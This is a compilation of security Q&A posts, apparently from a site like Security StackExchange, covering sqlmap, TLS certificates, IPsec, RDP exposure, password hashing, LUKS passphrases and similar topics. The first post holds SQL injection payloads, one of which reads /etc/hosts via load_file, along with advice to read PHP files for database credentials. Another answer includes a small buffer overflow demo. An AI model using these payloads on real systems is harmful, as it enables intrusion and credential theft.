How we can Update table via sqlmap? How we can update a table via sqlmap ?
The injection is like this :

mysite.com/?menu=-8' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
load_file('/etc/hosts'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

I've a mysql User with this privileges and roles :

[*] 'testUser'@'localhost' [17]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: SELECT
    privilege: SHOW VIEW
    privilege: TRIGGER
    privilege: UPDATE

[*] 'testUser'@'localhost' [17]:
        role: ALTER
        role: ALTER ROUTINE
        role: CREATE
        role: CREATE ROUTINE
        role: CREATE TEMPORARY TABLES
        role: CREATE VIEW
        role: DELETE
        role: DROP
        role: EVENT
        role: EXECUTE
        role: FILE
        role: INDEX
        role: INSERT
        role: SELECT
        role: SHOW VIEW
        role: TRIGGER
        role: UPDATE

but it's just return none as result !

UPDATE SMS SET Message='This is for Test' WHERE ClientID='42';: None

The Select statement works well but I just wondering is there any chance to update via sqlmap ?

This is simply not possible. The reason for that is that the MySQL module of PHP does not allow one to append complete queries. So this won't work:

http://victim.com/index.php?id=1'; UPDATE anytable SET anyattribute='anyvalue' --

You also can't use UNION to append a UPDATE, DELETE or INSERT Query because it only allows one to join SELECT statements.

You can UPDATE a MySQL database through an SQL Injection only if the original query is a UPDATE query. And also this is much more limited than SQL Injections in SELECT statements to extract data.

But there is another way you might be able to alter data. In your injection you use the load_file function. If this function works you can use it to read the content of the .php files searching for the mysql_connect method which will contain the credentials for the databse. You can then with these credentials connect to the database under some conditions and query the database directly.

And finally: I strongly suggest you not to use tools like sqlmap till the moment you are able to exploit SQL Injections blindfolded and with one hand tied to your back because you don't learn much just using sqlmap.


Nginx fallback SSL for one domain I have a Debian server running Nginx under a domain, and I have 2 different SSL certificates, from different authorities. Is it possible to configure Nginx in a way to serve one SSL certificate, but then to serve another one as a fallback if the first one is expired, or the client doesn't accept it?

I've looked into SNI, but it appears it's only for servers that have multiple domains, with separate certificates.

The server has no knowledge if the client will accept a certificate or not because validation is fully done at the client and depends a lot on the clients trust anchors. The server also has no knowledge if the client just reconnected because it failed to accept the previously sent certificate. This means the server can not pick another certificate just because the client did not accept the last one.
Apart from that clients will not just reconnect if they failed to verify a certificate because they will not expect the server to present a different certificate on reconnect. They expect the server to do it properly the first time.


Does a leaked pre-shared key make the initial IKE phase 1 negotiation of Diffie Hellman vulnerable? A pre-shared key is used for authenticating the peers and also used in protecting the DH key exchange because it's possible to  man in the middle the DH exchange.

Does this mean that if an attacker knows the pre-shared key he can man in the middle the initial IKE phase 1 negotiation so the encryption keys for the ipsec connection are compromised?

Yes, which is why people employ an attack called "Aggressive Mode IKE PSK Cracking".


How real is the threat of MITM when you have your own network I never understood why I have to worry about MITM when I am at home connected to my simple WiFiless modem using an Ethernet cable.

I can tell how serious the threat is when you are in an Internet cafe or you have a WiFi network but WiFi is relatively new compared to the existence of SSL.

Where/How would the attacker intercept my connection? should I be afraid of my ISP?

Your direct ISP is only a very small part of the chain, there's many scenarios where your network traffic could potentially be accessible to hostile agents. Don't forget that in many cases hostile agents might also have the resources of a nation state (eg. in the case of mass surveillance):

You may trust your ISP, but do you trust the ISP of the party you're connecting to and all the networks in-between? Which might be in another country. TLS may protect the content of your requests against intermediate ISPs and/or government surveillance.
There's the threat of malware on either your client or your router. TLS is end to end so it may protect you if the system is compromised provided the integrity of the client implementing TLS is maintained.
What if your traffic doesn't end up going to who you intended? There could be instances where an IP is assigned to a new customer and your traffic for the old customer may go to the new. TLS could save you there.

On generally trustworthy networks the probability of your traffic being compromised might be low, but the consequences of your traffic being compromised are very high (eg. session cookies can easily be stolen which allow an attacker to log into your account for example). Considering that these days the overhead of implementing TLS isn't huge the cost/benefit is usually worthwhile.


Is VirtualBox safe and is it possible its spying on the user? I'm looking to install a virtual machine and since Hyper-V is not available for my Windows 10 production version I'm forced to decide between VirtualBox and VMWare. VMWare looks much more modern and new while Virtual Box has a very old and 'sketchy' looking website. I was always under the impression that VirtualBox is better and safe for anonymity. Is it safe to install it though, and is it possible that VirtualBox could be spying on their users?
https://www.virtualbox.org/
https://www.vmware.com/

Both VirtualBox and VMWare are safe, reputable hypervisors. A website that looks "old" is not an indicator of malice, and sometimes the most reputable websites look very old indeed. VMWare has more closed source components than VirtualBox, which can make it less trustworthy as a result of a closed design. Neither of them are going to actively spy on you, though. If you want to really be sure, verify their PGP signatures, if they have them. They are likely provided on their download page.
You should know, however, that your operating system may end up writing sensitive information in RAM to swap space on your disk, so using a virtual machine for anonymity is not always the best idea if you don't know what you're doing. Furthermore, any virtual machine software can contain bugs that could allow the guest to break out. As long as you keep them up to date, along with the rest of your operating system and the guest running in the VM, the chances of that are minimal.


Compromised mobile device on a company network What can a malicious user / attacker do if access is gained to a mobile device (smartphone/tablet) on a company network ?

Ok, I'm answering the question as posed in your comment:

  [Is] a compromised mobile device as risky as a compromised computer?

Yes. Absolutely.

Per @Sean W, a modern smartphone/tablet is a computer, albeit a little one with not that much CPU, that is easy to carry around and prone to being dropped into puddles. Therefore the risk profile is similar (at the very least).

In fact, in many cases I would argue that a smartphone/tablet is much more risky once compromised:

It's small and easily hidden. If connected to AC power in a dark corner, it might go un-noticed for months.
They often have data connectivity via cellular network, allowing an attacker to bypass any corporate security controls.
The mobile OS usually runs on chips (as opposed to hard drives, which can be removed). This makes post-attack analysis much more difficult for Infosec analysts.

An attacker connects to the smartphone, which in turn is connected to the corporate network. End result? The attacker is connected to the corporate network, just as if a desktop computer had been compromised. Almost every mobile device will have enough CPU to run a SSH server for the attacker to connect to.


Why Microsoft claims that SQL Server is the least vulnerable database? Microsoft claims in their official site that “SQL Server is the least vulnerable database for six years running in the NIST vulnerabilities database”, I reviewed the NIST web site, but I can’t find a proof for their claims!

Do they summarize multiple reports from NIST? What are these reports?

When they say that, they are probably referring to the number of published exploits and vulnerabilities for their product. If true, this is a very, very bad idea.

I'm actually surprised it says that. Published exploits are not an indicator of a product's security. They only indicate how much and many people are looking for exploits. In the worst case, these exploits might've been sold to a 0day broker and might still remain unknown.

Don't use this as a metric to choose a DB server. Seriously - it's a terrible idea.


CSP: upgrade-insecure-requests - what happens with https-incompatible ressources? I have two questions regarding the CSP directive upgrade-insecure-requests which I couldn't answer myself by reading the specification.

What happens to ressources which can't be upgraded to https (e.g. invalid certificate)? Will they be blocked?
What kind of violations will be reported against the endpoint specified by report-uri in the policy? Just failed upgrades or also successful upgrades?

1. What happens if an upgrade fails?

Exactly the same thing that would happen if a non-upgraded HTTPS request failed. The spec talks about rewriting requests. Exactly how this is done is explained in section 4.1 of the spec, but the essence is that http:// is replaced with https://. That means that once the request is rewritten it is indistinguishable from a request that was HTTPS from the beginning.

To be honest I can't find any good section of the spec to quote where this is crystal clear. But example one and three quite directly show that this is the case.

2. What will be reported?

No successful upgrades, no failed upgrades, nothing. From section 3.1 of the spec:

  Monitoring the upgrade-insecure-requests directive has no effect: the directive is ignored when sent via a Content-Security-Policy-Report-Only header.


Is it possible to use X509 to verify other information, like a vacination? Background:
Germany has decided to implement the proof of vacination for Corona based on 5 Blockchains. It's supposed to be anonymus and safe and the verification could hapen with a QR-Code.
My Idea:
Use X509 (SSL) certificates to verify that someone is vacinated, by including additional information and making the Countries CA's.
The Explanation:
We reuse the existing and proven code for issuing and checking SSL certificates like OpenSSL and expand the issued certificate with a field for with information with which it's possible to uniquely identify a person, like birthplace and date, while the CN field can be the name itself.
Every Country which is part of the system becomes a CA, or if you have a group of states like the EU they become the CA. Then create the chain of trust for example : EU -> Germany -> Bavaria -> Vacination Center -> Anton (Person). The certificate Anton gets issued can't sign other.  Anyone who knows the root certificate can then verify that Anton has recieved his jab. The personal information is safe, only Anton has the certificate. No one, except for the other party, even knows that Anton showed his proof.
The only problem would be how to safe and show the certificat. QR-Codes wouldn't work, the cert. is to big, however one could use NFC. The people with a device where you can easily access the NFC Antena, like Android, could use their phone. Everyone else could use a boring old NFC Tag with sufficient Storage, 8KB should be enough, which I could find for 1,10€. (That's kind of expensive and maybe a deal breaker.) It would be easy to use (just tap your card on the reader), safe (only allowed people can issue cards and the underlying infrastructure is tested) and protects personal data (only you carry your information).
If the EU wants to honour the cert issued in the USA, they could add them as a root CA. If it turns out a someone has issued wrong certificates for whatever reason: revoke the cert which is highest in the chain, which was compromised.
Could this scheme work or did I overlook something, (other than countries not agreeing on one method, because what they are doing is best)?

Anton does not need a certificate. The vaccination center needs one. It then generates a record like:
Anton Klaus:19990318:BAVARIA134:202104011200:COV19
20fdf778e435d6402811155500348a26ccb0dafa

The first line contains the needed data: name, birth date, vaccination center, vaccination date and vaccine type. Next one is the signature. One can get the BAVARIA134 certificate online, and check if the signature checks.
This record is small enough to fit on a QR-Code, and it's trivial to use a web page to read the code, grab the vaccination center certificate, and check the signature.


Does password-hashing "busy-work" need to be cryptographically secure All modern password hashing schemes are deliberately designed to include a huge amount of "busy-work", to limit the speed with which an attacker would be able to conduct password hashing attempts.  Further, a goal in newer schemes is to reduce the amount by which special-purpose hardware can be made more efficient than commodity hardware of similar cost.  If a "unit of work" in each of several algorithms is defined as the amount of work that could be done per second per dollar of hardware that was optimized for that task, the goal is to maximize the number of work units that can be done in an acceptable timeframe using production hardware.  Because commodity machines differ in how efficiently they can perform various operations, however, this would suggest that different algorithms would be optimal on different production machines.  For example, while it's desirable for algorithms to be GPU-hostile if production machines won't have GPUs, on production platforms which can use a GPU it would be better to have a GPU-friendly busywork algorithm.

Given the password hashing algorithm:

hash = secureHash(password, salt)
Using one or more forms of busywork:
  busyResult = busyWork(hash, params)
  hash = secureHash(hash, busyResult, extraSalt)

If one assumes that secureHash has all the properties necessary for a secure hash, would overall security be reliant upon any cryptographic properties of the busyWork functions used beyond the fact that their outputs not be computable without performing a certain amount of work?  If not, would it be reasonable to favor different kinds of busy-work on different production environments, if:

Each password record included a list of the forms of busy-work that were used to create it, along with the appropriate parameters.
Each production environment would be capable of performing all forms of busy work, even if not optimally efficiently.
In the event of hardware changes that would cause the current password algorithm to take longer than ideal, a user's stored password hash could be transparently updated to use the new algorithm on the user's next login (the user need not know this was taking place).

Trying to design a secure hashing algorithm for every different flavor of system which was optimized around that system's precise abilities would be difficult.  If, however, the requirement was weaker, and it was only necessary to show that the busywork algorithm was close to the fastest means of producing a certain output on a given system, and that every different hash value fed into the algorithm would be likely to produce different outputs (not hard to do if the output could be much larger than the input), it would seem that producing algorithms optimized for different platforms would be much easier.

Main question: If the secureHash function is good, and the time required for at least some of the busy-work functions cannot be effectively reduced, would there be any way in which a poor busy-work function could compromise security, other than by taking time away from the better busy-work functions?

Does password-hashing “busy-work” need to be cryptographically secure

Yes. You need it to use a standard algorothm to make sure there are no shortcuts available for the "busy-work".  Have a look at Thomas Pornin's answer here.

Inserting the salt (yes, it must be talked about), and iterating the function at the same time, is a bit more tricky than what it usually appears. In particular, a hash function such as SHA-256 is not exactly a "random-oracle-like" function; it exhibits some internal structure. Any homemade construct could hit one of those fine details from which deadly weaknesses may emerge.
Making sure that you did it right is difficult, just like building any cryptographic algorithm. That's where bcrypt is better than any homemade construct: bcrypt has been published and in use and presumably inspected for flaws by many people over quite some time. This is basically the only hard measure of security that you can get in cryptography. The generic advice of "do not define your own algorithms" applies here too.

In your statement:

If the secureHash function is good, and the time required for at least some of the busy-work functions cannot be effectively reduced, would there be any way in which a poor busy-work function could compromise security, other than by taking time away from the better busy-work functions?

Taking time away is good, although if shortcuts exist then the time spent would be better spent on a "tried and tested" method of iterating the hashing algorithm. If the tried and tested method will effectively add 10 bits of entropy with 1024 iterations, you do not want your "poor busy-work" function to be able to be shortcut so no additional equivalent entropy is added. This adds time for your system, but none for an attacker. A good iterated hash function should add more time for the attacker as they will need more guesses than a valid user will.
I realise that your question is along the lines of "assume the attacker has the fastest way of producing a hash", however on my production hardware I want "the fastest method of creating a secure hash" to be used for each platform. In that case you could have different algorithms for different machines, but you should use standard ones (bcrypt, scrypt, PBKDF2) and you will be at the mercy of the weakest one if an attacker got hold of your password database.
In your comment to a previous answer:

In most crypto functions, the assumption is that the attacker won't have the parameters necessary to use the crypto function in the forward direction and will thus have to reverse it and the goal is to maximize the difference in speed between the reverse and forward directions. Adding insecure stuff will slow down the forward direction, but probably won't affect the reverse direction as much.

A cryptographic hash function should be pretty much impossible to invert. An attacker when trying to crack a hash will in fact hash their guesses using the same algorithm you have used - so they are going in the "forward direction" to see if they have a match. You should not assume that your "busy-work" or hashing algorithm is secret - assume the only secret the attacker does not know is the password. The only time things are in a "reverse direction" is when they have a pre-computed rainbow or hash table - if you have a strong enough salt then this will stop this attack vector.
So it appears there is a flaw in your goal of making a hash function quick to run yet difficult to reverse. It should be slow to run and impossible to reverse. The only "reversing" you should be attempting to thwart is those of repeated attempts by making the attacker do more work per guess.


Is Objective C (really) affected by buffer overflows? I'm trying to find a buffer overflow sample code in Objective-C but the only samples I found are written in C (without "bracket style").

I understand that Objective-C is based on C, but are there any chance of getting buffer overflows (or any kind of overflow) using only Objective-C ?

Would you have a sample code to demonstrate it ?

Thanks in advance.

Edit: Added code sample
Objective-C is a superset of C; anything you can do with C can be done with Objective-C and that includes lots of things you probably don't want to do (like buffer overflows). Taking a .c source file, changing the extension to .m, and compiling it with an Objective-C compiler will not prevent buffer overflows.
Additionally, the Objective-C language itself is not bounds-checked. Static buffers (as used in C; the things you get from int foo[16] or malloc(100)) are still the only inherently-supported index-accessible data structure in Objective-C, and there's nothing preventing you from reading or writing outside the bounds of one.
However, the vast majority of Objective-C code is written using a "kit" or "framework" (such as Cocoa or GNUstep) that provides a library of classes, including one or more array classes (such as NSArray), and those classes may be bounds-checked. While something like NSArray must use an unchecked memory buffer as its backing store (either directly or by wrapping some other array class), it need not expose that buffer directly. Instead, it supports messages such as objectAtIndex: which invoke methods that perform bounds checking before reading or writing from that buffer.
Even these library classes' interfaces may interact with C-style memory buffers, in which case they typically rely on you to ensure the buffer's size is correct. Getting it wrong can still result in a buffer overread or overflow, either immediately inside of the function where you passed the wrong size parameter, or later when you try to access a location that is inside the size you specified but outside the buffer's actual size. For some examples, see the NSArray methods arrayWithObjects:count: and getObjects:range:, which require the programmer to specify a C-style array and either also supply its size or at least know that its size is sufficient. These functions can cause a overread or overflow, respectively.
Apple also recently (compared to the language's 35-year history) added support for C-style array access to collections such as NSArray, but it's just syntactic sugar for the existing ways to interact with collections. You can use myNSArray[2] to retrieve the third element of the NSArray just as you could use array[2] to retrieve the third element of a C-style array, but the immediate behavior under the hood is completely different. Indexing with a C-style array is just pointer arithmetic (array[7] is exactly equivalent to *(array+7), itself equivalent - at least on byte-addressable platforms like x86/x64 and assuming "array" is a pointer-to-int - to *((int*)(((uintptr_t)array)+(sizeof(int)*7))) or *((int*)(((char*)array)+(sizeof(int)*7))), and can often be entirely implemented in a single line of x86 assembly. By comparison, myNSArray[7] is just syntactic sugar for [myNSArray objectAtIndex:7] and is a method call. It is in that method that the bounds check is implemented, the exception is raised if out-of-bounds, the indexing into the C-style buffer backing the NSArray happens, and finally the retrieved object is returned.
So, in summary, if you:

use only bounds-checked collections in your Objective-C and let the library handle all the access to their C-style buffer backing stores
never personally do any pointer arithmetic or call any function to do so when the function / receiver cannot tell or does not enforce the bounds of the pointed-to buffer
never directly or indirectly call any functions that take C-style arrays and expect you to provide their bounds and/or index

then you can mostly-safely pretend that Objective-C is unaffected by buffer overflows. (I say "mostly-safely" because there may be bugs in the libraries you use, which could result in a bounds check being missed or performed incorrectly.) Anytime you are not following those rules, or handling data tainted by not following those rules, you're at risk... even if you're using "bracket style" messages to Objective-C receivers.

// Code example for a buffer overflow in Objective-C.

// NSArray with 6 Objective-C elements
NSArray *myArray = @[ @"Buffer", @"overflows", @"can", @"happen", @"in", @"Objective-C" ];
// NSRange within the bounds of the array
NSRange myRange = NSMakeRange(1, 4);
// Buffer with room for 2 Objective-C objects
id buffer[2];
// Use an NSArray method with "bracket style" syntax to copy data to the buffer
[myArray getObjects:buffer range:myRange];
// Boom


Is this CA store related to Ubuntu or OpenSSL I am checking TLS certificates chain validity against CA sore in this path:

etc/ssl/certs/ca-certificates.crt

I use Ubuntu 18.04 and OpenSSL 1.1.0g. I need to know whether this CAs store is from Ubuntu or OpenSSL?

OpenSSL has no own CA store although it has a default location where it will look for a CA store. On Debian/Ubuntu this default location is /usr/lib/ssl/certs which is a link to /etc/ssl/certs.

The file /etc/ssl/certs/ca-certificates.crt (note the leading '/' since this is an absolute path) is created from the certificates in /etc/ssl/certs using the update-ca-certificates program which is part of Ubuntu and Debian and run automatically on installation and when needed on software updates. The certificates which are in /etc/ssl/certs by default are part of the ca-certificates package.


Why do the roles of public/private keys reverse when talking about public key encryption and digital signatures? With public key encryption you encrypt using a public key.  But when creating digital signatures you sign by encrypting a hash using a private key.

I understand the principles of these two uses of public key cryptography, but I cannot reconcile in my head how or why the roles of the keys suddenly reverses.  Does digital signing somehow build upon the concepts of public key encryption? or are the underlying algorithms completely different?

I cannot reconcile in my head how or why the roles of the keys suddenly reverses.

(I'm primarily focusing on RSA signatures.)

Anyone can produce an encrypted message (by using your public key) and only you can decrypt it (by using your private key). The roles of public and private key reverse because a signature has to be something that only you can produce (by encrypting with your private key) and everyone else can confirm (by decrypting with your public key).

The basic assumption is that if you publish a ciphertext that can be decrypted to a meaningful message with your public key, you have proven that you own the private key, because otherwise you wouldn't be able to produce such a ciphertext. (Note that this plain RSA signature algorithm is insecure for numerous reasons. Most notably, in practice you should never sign a full message text, but a hash of the message.)

You can simply swap the roles of public and private key because the mathematical design of RSA allows you to encrypt a message with either key and decrypt it with the other one - resulting in the same original plaintext both ways. That's because the encryption exponent e is the multiplicative inverse of the decryption exponent d modulo φ(N) (where N is the RSA modulus and φ is Euler's totient function). That is, 1 ≡ ed ≡ de (mod φ(N)).

Also see: How does RSA signature verification work?


How could an iPhone be transmitting abnormal loads of data without apparently running anything? My iPhone has sent/received 900MB in 15 days from "com.busuu.japanese.a"
I got this information from Onavo, which 'compresses' my data.

I have never heard of Busuu until today. It is a language learning service.

My iPhone is not jailbroken. I have used Chinese wall chargers, if that was actually a real thing.

How is this happening? Is it possible to install an invisible background application? At 900MB I would expect that my phone is a botnet node or a spam server.

Please help. This is frightening.

edit:

May 2013 - 50MB (from identifier com.busuu.japanese...)
June 2013 - 200MB
Half of July 2013 - 900MB

I'm the Head of Mobile at busuu. One of our web devs found this thread while investigating a problem with our site.

The entire set of content for our Japanese app runs to about 110MB in total, across five downloadable bundles. That download process is kicked off manually by the user and entirely in the foreground while the app is running. We also use analytics and ads, but if those were using that much data we'd know immediately.

Assuming Onavo is accurate, looks like something has hijacked our name for nefarious purposes - thanks for flagging it. If the OP didn't have busuu installed, whatever that something is is clearly not just parasitically stealing another valid process name on the device, so we might be baked into someone's malware. Yay.

Will be watching for this now. Any further info appreciated.


Why OWASP considers TouchID as insecure? As could be reviewed in 1 under Am I Vulnerable... section, OWASP page states that

  If the mobile app uses a feature like TouchID, it suffers from insecure authentication.

The reasons for this are not obvious though. Why is this considered insecure?

I believe what OWASP are referencing is the use of TouchID Local Authentication, which isn't very secure on its own, but is unfortunately the most common implementation. Effectively all it does is check if the fingerprint was correct and return a true/false. The secrets (e.g. session IDs) aren't actually protected by the authentication mechanism. This check can be bypassed by a local attacker as they can just modify the app binary to remove the check, and iOS won't enforce any additional verification or require that the phone is actually unlocked.

OWASP generally suggests that you utilise Keychain for storing app secrets, using an access control list (ACL). This ensures that the data cannot be accessed without iOS itself performing a presence check, as per the specification of the data protection class in use (e.g. kSecAttrAccessibleWhenUnlocked means it'll only allow access to the data if the phone is unlocked). This prevents the check from being bypassed as the sensitive data is stored and protected by the OS. You can read more about this in the Encryption and Data Protection section of the iOS Security Guide [PDF].


Setting up LetsEncrypt SSL for domains/subdomains on two servers LetsEncrypt certificates have been created for example.com and www.example.com. This is a Linux server on IP 123.123.123.1.

I would like to add foo.example.com and bar.example.com, but these subdomains are set to 123.123.123.2 (MS2012 server, IPs set in DNS records).

I need the SSL certs to be able to transfer data without throwing browser errors. Apparently, the certs created on server 123.123.123.1 just need to be copied over to 123.123.123.2.

The problem is that using

sudo certbot --apache --cert-name example.com -d example.com,www.example.com,foo.example.com,bar.example.com

to add the subdomains, I get an unauthorized error and 404.

How can I add subdomains to the certificate, provided that they are on another server (which I have access to)?

Assuming you have ssh aacess to server where foo.example.com and bar.example.com are hosted, just run the certbot command with above two domains only, and it should work without any errors and browser warnings. For certbot to be able to generate certs, it needs to be run on the same server where the domains are hosted.


Is open RDP really dangerous? I have just started work for a small (100-150 employees) company. I noticed that anybody can remote in to the remote server using the correct domain, which is quite easy to guess based on the company name and the name of the server.

Seen as RDP is not behind a firewall or VPN and therefore accessible to anybody who a) knows the address and b) knows a user account - is it a big security risk?

I believe RDP has some in-built protection against brute force attacks, is there any other way somebody could gain unauthorized access?

Should I push to have RDP only accessible via VPN?

Thank you.

Edited answer as my initial understanding was both the password and domain were easily guessable.

An RDP port exposed to the public internet is unnecessarily risky, and you should take whatever steps you can to put it behind the VPN you suggested. While the password isn't easily guessable, taking it off the public internet removes an attacker's opportunity to attempt to guess the password at all.

RDP doesn't have a great history with security vulnerabilities - if you're running an old version it is likely to be exploited, and there is no guarantee the current version isn't vulnerable to some currently unknown exploit.

Exposing an adequately-secured RDP port on the open internet isn't a guaranteed entry point for attackers into your network, but it is a high and unnecessary risk that. Off the top of my head I can't imagine a use case where a doesn't have VPN access but does have RDP access to a server on that network - unless you have a very good reason for it the RDP port should be behind the VPN.


Is the site wrong about an ethical hacking question or am I? Can you let me know if this site is crazy? or am I?

You're right and the website is wrong.

I know it's frustrating but I think that anyone who went through a certification also went through the same frustration ;).

Sometimes, the issue is not even in the training program but in the certification organism itself who do not check his own questions enough (question quality varies greatly from one organism to another). Training programs then only reflect this situation by using older official questions and answers.

Instead, take the fact that you have now enough knowledge and confidence to challenge such answers as a good sign of your level. At the end, you don't need 100% good answers. As long as you have enough knowledge, you should be able to pass despite odd, malformed and wrong questions.


Getting file from Amazon s3 encrypted based on user I am storing my files on Amazon S3. My problem is that whenever a user asks for a file I want to generate an encryption key (user specific key) and encrypt the file and send it to him.

So basically I want to direct S3 server that I want this file with this key, it generates the url for me, I pass the url to the user and when the user hits this url he/she gets the file encrypted with my key.

I read about the encryption schemes on the S3 docs but couldn't find a way of doing this. All I got is that I can store file with encryption key and to retrieve it back I have to provide the encryption key to S3.

Is there a way of achieving this with S3?

No, there isn't.

S3's encryption services are for the data at rest inside, not outside, S3.


Why isn't there a standard to prevent files being attached to e-mails? In my career I've spent a lot of time implementing security, and a lot of time exasperated at how users obviate my security by e-mailing attachments of sensitive information.

I'm thinking primarily of CSVs, Excel spreadsheets and PDFs that are exported by systems and delivered securely initially (e.g. over HTTPS), but then e-mailed insecurely by users to each other.

I cannot find any information on a (IETF?) standard to 'tag' files as being unsafe to send over e-mail. Many file systems and file types allow metadata to be attached to a file (e.g. author). Why isn't there some standard metadata that says 'file contains confidential information' that e-mail programs would recognise and refuse to allow as attachments?

Simply put, it would be a great deal of work to implement for negligible real-world gain.

Let's imagine for a moment that such a "standard" mechanism for meta data describing the confidentiality level of a particular file existed and we are able to hand-wave away the technical details implementing such a mechanism across multiple file formats, operating systems, mail servers, clients etc.

Someone is going to be ultimately responsible for setting that information on a per file basis and, logically that is going to be the people creating/working with these files.

So, Joe Bloggs in accounting has been working on the company's quarterly figures in Excel for the last week or so, and like the diligent employee he is he has ticked the box to indicate that this is "Confidential" information. Satisfied with the job well done and certain that as soon as Mr Grand Boss the CEO sees his detailed and colorful pie charts he'll be getting that raise he's been hoping for, so he attaches the completed Excel file to a new e-mail and hits send. Outlook refuses to send the mail though, because the attachment is marked as "Confidential" and sending such files is forbidden.

Joe still needs to get these figures to the CEO though so does he:

a) Look into some way he can encrypt the file? He's heard the word in movies before but doesn't really know what it means, or where to start.

or

b) open the file, un-tick the "Confidential" box and re-attach it to the e-mail.

I can almost guarantee that in 99% of cases it's going to be option B, and that's not someone who is trying to circumvent security. They are just trying to do their job.

For someone who is trying to circumvent it, to send confidential information and documents to competitors or whoever for nefarious purposes. Then if they have the permissions to modify the file they will remove the confidential flag, send the mail and then re-enable it. Even if all they have is read access they will open the file and copy-paste the contents into a fresh one and send it.

So in either of those scenarios the "Confidential" flag has done precisely nothing to increase security


Embedded Surveillance Devices There is a very suspicious man living in my building. I noticed a new imbedded device at the shared entrance which he claims is a monoxide detector. As an aside, there is no need for a monoxide detector on this level of the building which is extremely unusual.

On the outside, the device is indeed branded with a product number, and everything appears to be a monoxide detector. However, I am aware certain companies and illegal markets sell hidden cameras, freaking devices, network sniffers etc in hardware pieces like this one.

This man has no legal authority to be installing a camera at this entrance, and I intend to open the device and identify the components. My question is firstly: what invasive/illegal activities could an embedded device like this be capable of? I don't expect the man spent 10k or anything, so I doubt it's that sophisticated.

My second question, although possibly for a different site, is how can effectively identify malicious components, especially without compromising the evidence. (I intend to contact the authorities if I can identify a malicious/illegal function)

If the device is capable of recording data for later use, I would expect it to either have some sort of data storage capability, or some sort of wireless connectivity (because a wired connection would be harder to conceal). So my first guess would be to scan the area to see what networks are active there, there's smartphone apps that can do that for you. If no luck, just take a good look at it to see if there are any ports (likely usb or SD) on it, or any panels which look as if they're removable.

Secondly, if the device has a serial (or similar) number, it might be worth to google that.

Thirdly (and probably most effectively) going from your story I assume your building will have a landlord or a congierge or someone similar. You could just ask them if they installed a device and/or authorised the scary man to do so.


Is there an actual use for OpenPGP authentication keys? The OpenPGP specification (RFC 4880) describes, page 34, the different capabilities that an OpenPGP key may have; including:

  0x20 - This key may be used for authentication.

In GnuPG, one of the most popular implementations of OpenPGP, it is possible to generate [sub]keys with the authenticate capability (using the --expert flag). Okay, great, I know have a key which has the four capabilities – Encrypt, Certify, Sign, Authenticate (ECSA). Now what?

I am curious about that Authenticate capability. Is there any real-world use for authentication OpenPGP [sub]keys, other than not using them and export them as SSH keys instead?

There is an informational RFC for use of OpenPGP keys in SSL/TLS; as the RFC says:

The term "OpenPGP key" is used in this document as in the OpenPGP
specification [RFC4880].  We use the term "OpenPGP certificate" to
refer to OpenPGP keys that are enabled for authentication.

That's what these keys are for: usages as part of authentication protocols which may technically look like signatures, but are not meant to fulfil "non repudiation" requirements.

I never saw a working implementation of RFC 6091, though. I don't think it gets much used anywhere.


diehard_run is known to fail on secure RNGs. I wouldn't worry about it.


List of valuable folders for preventing their deletions I am writing software that has an option to delete all files is a user-specified directory. This is the usual case for software. For example, cpp compiler has an option to delete all previously generated binaries.

My program accepts any path from the user for removal, which could lead to them accidentally removing their home directory together with all its content, the content of /etc/bin, or any other directory that is not protected by the file system for the current user.

I can check the home directory myself, but I can't know all possible weak parts, especially since my software is cross-platform.

So the question is:

  Is there a list of paths that are not recommended to be deleted by the user so that I can simply match user input by the pattern and at least warn them?

Any path could easily be something the user doesn't want to delete. The user should not run your tool on a folder if that folder should not be deleted. Probably it is enough to always warn "THIS WILL DELETE ALL FILES IN /path/given/by/user, ARE YOU SURE?" and then rely on the OS (either through file permissions or access controls like SELinux) to protect them from anything stupendously dumb.

This does of course assume your app doesn't require superuser access to run, so that it will normally only be running as a normal user.


LUKS, how to make strongest possible and reasonable passphrase? Let us say I have a volume encrypted under LUKS with a 512-bit key.  That would mean there are 2 ^ 512 possible values which the key may be.

Now I need a passphrase which is at least as resistant to brute force as the actual 512-bit volume encryption key.  Correct me if my assumptions below are wrong, all numeric values are used for mathematical example only:

Let's say my passphrase is generated by base64 encoding random input and therefore the keyspace for my passphrase is 64 characters.  So in order for my passphrase to be at least as strong as the volume encryption key then there need to be at least 2 ^ 512 possible combinations within the length of the passphrase.  This can be expressed as:

(size_of_keyspace) ^ number_of_characters >= 2 ^ (size_of_key)

So for this example of a volume key size of 512 and a passphrase keyspace of 64 then the minimum number of characters my passphrase should be in order to be at least as secure as the volume key would be 86.

Is this logic correct or is there some drawbacks I should be aware of?  Any other recommendations which can be offered along the lines of this question?

My reasoning for this is that there is no inherent benefit of having a passphrase which is stronger than the actual payload key itself -- someone brute forcing my drive is ultimately trying to crack my encryption key, not my passphrase.  If my passphrase is stronger than the encryption key then an attacker can brute force the encryption key faster than they can the passphrase.  Is this correct or is there some benefit to having a passphrase which is stronger than the encryption key, maybe as a resource drain for an attacker who doesn't diversify their methods well enough?

In the context of security, everything is a trade off.  More on that in a second....

What are the attack options for breaking into your encrypted volume?   They are, basically:

Brute force search of the keyspace for the key utilized by the symmetric encryption primitive.
Brute force the passphrase by trying every possible password utilizing your volume's specific salt and key derivation parameters.
Evil maid, rubber hose, key logger, or other "non crypto" means of securing your keymat.

You should worry about number 3.  Because its the obvious attack vector.

No one is going to succeed in brute forcing the key used for the block encryption primitive.

From a basic security perspective, I remain convinced that even 128 bit keys are fully secure if the implementation is not broken.  A brute force search in that case has to exhaust on average half of a key space that has 340,282,366,920,938,463,463,374,607,431,768,211,456 possibilities.

For a 256 bit keyed primitive, you're talking about 115,792,089,237,316,195,423,570,985,008,687,907,853,269,984,665,640,564,039,457,584,007,913,129,639,936 possibilities.

So even with 256 bits of key security you're already reaching numbers that approach the number of atoms in the known universe.

So that's out.

What you're worried about is someone trying every possible pass phrase.

